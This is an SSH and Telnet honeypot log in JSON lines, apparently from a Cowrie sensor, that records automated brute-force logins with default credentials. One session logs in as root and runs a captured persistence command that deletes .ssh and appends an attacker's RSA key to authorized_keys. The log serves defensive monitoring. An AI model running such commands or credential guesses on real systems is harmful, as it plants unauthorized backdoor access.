{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40980,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee38cb260ff9","protocol":"ssh","message":"New connection: 195.178.110.218:40980 (10.17.0.5:22) [session: ee38cb260ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:33.149955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:33.154397Z","src_ip":"195.178.110.218","session":"ee38cb260ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:33.233793Z","src_ip":"195.178.110.218","session":"ee38cb260ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:33.472628Z","src_ip":"195.178.110.218","session":"ee38cb260ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:34.554317Z","src_ip":"195.178.110.218","session":"ee38cb260ff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":37122,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d07e1f40f11","protocol":"ssh","message":"New connection: 2.57.122.96:37122 (159.203.135.109:22) [session: 6d07e1f40f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:40.381349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:40.385369Z","src_ip":"2.57.122.96","session":"6d07e1f40f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:40.490806Z","src_ip":"2.57.122.96","session":"6d07e1f40f11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:40.877882Z","src_ip":"2.57.122.96","session":"6d07e1f40f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:41.979450Z","src_ip":"2.57.122.96","session":"6d07e1f40f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.101","src_port":47514,"dst_ip":"10.17.0.5","dst_port":22,"session":"152b2686e83d","protocol":"ssh","message":"New connection: 157.15.59.101:47514 (10.17.0.5:22) [session: 152b2686e83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:49.109067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:49.113166Z","src_ip":"157.15.59.101","session":"152b2686e83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:49.357526Z","src_ip":"157.15.59.101","session":"152b2686e83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid@123","message":"login attempt [grid/grid@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:50.369385Z","src_ip":"157.15.59.101","session":"152b2686e83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:24:51.615839Z","src_ip":"157.15.59.101","session":"152b2686e83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33386,"dst_ip":"159.203.135.109","dst_port":22,"session":"5137e65ea97d","protocol":"ssh","message":"New connection: 193.32.162.145:33386 (159.203.135.109:22) [session: 5137e65ea97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:25:01.646072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:25:01.652638Z","src_ip":"193.32.162.145","session":"5137e65ea97d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:25:01.762683Z","src_ip":"193.32.162.145","session":"5137e65ea97d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:25:02.081023Z","src_ip":"193.32.162.145","session":"5137e65ea97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:25:03.215472Z","src_ip":"193.32.162.145","session":"5137e65ea97d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":36804,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8c59662e826","protocol":"ssh","message":"New connection: 20.12.41.6:36804 (159.203.135.109:22) [session: f8c59662e826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.535422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.539579Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.553392Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xx123456","message":"login attempt [root/Xx123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.643894Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.706641Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.709808Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.713595Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.731342Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.786165Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.788890Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.807065Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.810960Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":36816,"dst_ip":"159.203.135.109","dst_port":22,"session":"4df8a69f40e2","protocol":"ssh","message":"New connection: 20.12.41.6:36816 (159.203.135.109:22) [session: 4df8a69f40e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.817836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.821572Z","src_ip":"20.12.41.6","session":"4df8a69f40e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.835107Z","src_ip":"20.12.41.6","session":"4df8a69f40e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:19.923267Z","src_ip":"20.12.41.6","session":"4df8a69f40e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:20.940258Z","src_ip":"20.12.41.6","session":"4df8a69f40e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":36822,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf05b78b0f77","protocol":"ssh","message":"New connection: 20.12.41.6:36822 (159.203.135.109:22) [session: cf05b78b0f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:20.951074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:20.954400Z","src_ip":"20.12.41.6","session":"cf05b78b0f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:20.967573Z","src_ip":"20.12.41.6","session":"cf05b78b0f77","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:21.056124Z","src_ip":"20.12.41.6","session":"cf05b78b0f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:21.073184Z","src_ip":"20.12.41.6","session":"f8c59662e826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:21.077656Z","src_ip":"20.12.41.6","session":"cf05b78b0f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.206.75","src_port":59740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a30681d139b3","protocol":"telnet","message":"New connection: 91.208.206.75:59740 (10.17.0.5:23) [session: a30681d139b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:26:49.227495Z"}
